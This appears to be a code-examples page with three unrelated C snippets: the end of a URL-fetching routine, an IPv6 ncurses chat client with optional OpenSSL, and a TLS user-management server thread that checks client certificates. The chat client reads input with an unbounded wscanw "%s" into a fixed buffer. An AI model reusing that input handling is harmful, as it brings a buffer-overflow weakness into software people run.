		goto cleanup_url_get;
	}
	progressmeter(1, NULL);
	if (
#ifndef SMALL
		!resume &&
#endif /* !SMALL */
		filesize != -1 && len == 0 && bytes != filesize) {
		if (verbose)
			fputs("Read short file.\n", ttyout);
		goto cleanup_url_get;
	}

	if (verbose)
		ptransfer(0);
	(void)signal(SIGINT, oldintr);

	rval = 0;
	goto cleanup_url_get;

noftpautologin:
	warnx(
	    "Auto-login using ftp URLs isn't supported when using $ftp_proxy");
	goto cleanup_url_get;

improper:
	warnx("Improper response from %s", host);

cleanup_url_get:
#ifndef SMALL
	if (ssl) {
		SSL_shutdown(ssl);
		SSL_free(ssl);
	}
	free(full_host);
	free(auth);
#endif /* !SMALL */
	if (fin != NULL)
		fclose(fin);
	else if (s != -1)
		close(s);
	free(buf);
	free(proxyurl);
	free(newline);
	free(cookie);
	return (rval);
}
Exemple #29
0
int main(int argc,char** argv){
	// openssl support
#ifdef _SSL
	initSSL();
	ctx=SSL_CTX_new(SSLv23_client_method());
	if(ctx==NULL){
		ERR_print_errors_fp(stdout);
		exit(-2);
	}
#endif

	if(argc!=2){
		printf("Usage:client ipv6addr\n");
		exit(-1);
	}
	setlocale(LC_ALL,"");
	char name[10];
	printf("输入昵称:\n");
	scanf("%6s",name);

	int sockfd,len;
	struct sockaddr_in6	dst;
	char buf[MAXBUF+1];
	char buf1[MAXBUF+1];

	sockfd=socket(AF_INET6,PROTOCOL,0);
	GUARD(sockfd);

	bzero(&dst,sizeof(dst));
	dst.sin6_family=AF_INET6;
	dst.sin6_port=htons(SERVERPORT);
	GUARD(inet_pton(AF_INET6,argv[1],&dst.sin6_addr));
	GUARD(connect(sockfd,(struct sockaddr *)&dst,sizeof(dst)));

	// ssl support
#ifdef _SSL
	sslfd=SSL_new(ctx);
	SSL_set_fd(sslfd,sockfd);
	if(SSL_connect(sslfd)==-1)
		ERR_print_errors_fp(stderr);
	else{
		printf("connected with %s encryption\n",SSL_get_cipher(sslfd));
		//ShowCerts(sslfd);
	}
#endif
	// ssl support bind over
	
	initscr();
	WINDOW *recvBd=subwin(stdscr,HEIGHT1+2,WIDTH+2,1,1);
	WINDOW *inputBd=subwin(stdscr,HEIGHT+2,WIDTH+2,15,1);
	recvWin=subwin(stdscr,HEIGHT1,WIDTH,2,2);
	inputWin=subwin(stdscr,HEIGHT,WIDTH,16,2);
	box(recvBd,HLINE,VLINE);
	box(inputBd,HLINE,VLINE);
	wprintw(recvBd,"接收");
	wprintw(inputBd,"发送");
	cbreak();
	keypad(stdscr,TRUE);
	start_color();
	scrollok(recvWin,1);
	scrollok(inputWin,1);
	refresh();

	bzero(buf,MAXBUF+1);
#ifndef _SSL
	len=recv(sockfd,buf,MAXBUF,0);
#else
	len=SSL_read(sslfd,buf,MAXBUF);
#endif
	wprintw(recvWin,"%s\n",buf);
	touchwin(recvWin);
	wrefresh(recvWin);

	pthread_t t_recv;
	if(pthread_create(&t_recv,NULL,recvThread,(void*)sockfd)<0){
		perror("create thread");
		exit(1);
	}

	while(1){
		bzero(buf,MAXBUF+1);
		wprintw(inputWin,"%6s > ",name);
		int key=wgetch(inputWin);
		if(key==ESCAPE){
			break;
		}
		wscanw(inputWin,"%s",buf);
		touchwin(inputWin);
		wrefresh(inputWin);

		sprintf(buf1,"[%6s]: %c%s\n",name,(char)key,buf);
#ifndef _SSL
		len=send(sockfd,buf1,strlen(buf1),0);
#else
		len=SSL_write(sslfd,buf1,strlen(buf1));
#endif
		if(len<0)
			continue;
	}
	close(sockfd);
	delwin(recvWin);
	delwin(inputWin);
	delwin(recvBd);
	delwin(inputBd);
	endwin();
#ifdef _SSL
	SSL_shutdown(sslfd);
	SSL_free(sslfd);
	SSL_CTX_free(ctx);
#endif
	return 0;
}
void *user_management_main(void *arg)
{
    	BIO     *bio_acc    = NULL;
	BIO     *bio_client = NULL;
    	SSL     *ssl_client = NULL;
    	SSL_CTX *ctx        = NULL;

	int     err;
	char    *hosts[1];

    	ctx = setup_server_ctx(ESA_CERTFILE_PATH, ESA_CERTFILE_PASSWD, EMU_ROOT_CA_ONLY_CERT_CERTFILE_PATH);
    	bio_acc = BIO_new_accept(ESA_USER_MANAGEMENT_PORT);
    	if(!bio_acc)
        	int_error("Creating server socket failed");
  
    	if(BIO_do_accept(bio_acc) <= 0)
        	int_error("Binding server socket failed");
  
    	for(;;)
    	{
        	if(BIO_do_accept(bio_acc) <= 0)
            		int_error("Accepting connection failed");
 
        	bio_client = BIO_pop(bio_acc);

        	if(!(ssl_client = SSL_new(ctx)))
            		int_error("Creating SSL context failed");

        	SSL_set_bio(ssl_client, bio_client, bio_client);
		if(SSL_accept(ssl_client) <= 0)
		{
        		fprintf(stderr, "Accepting SSL connection failed\n");
			goto ERROR_AT_SSL_LAYER;
		}

		hosts[0] = ADMIN_CN; 
    		if((err = post_connection_check(ssl_client, hosts, 1, true, GLOBAL_authority_name)) != X509_V_OK)
    		{
        		fprintf(stderr, "Checking peer certificate failed\n\"%s\"\n", X509_verify_cert_error_string(err));
        		goto ERROR_AT_SSL_LAYER;
    		}

		// Process a request
		if(!process_request(ssl_client))
			goto ERROR_AT_SSL_LAYER;

ERROR_AT_SSL_LAYER:

		SSL_cleanup(ssl_client);
		ssl_client = NULL;
    		ERR_remove_state(0);
    	}
    
    	SSL_CTX_free(ctx);
	ctx = NULL;

    	BIO_free(bio_acc);
	bio_acc = NULL;

	pthread_exit(NULL);
    	return NULL;
}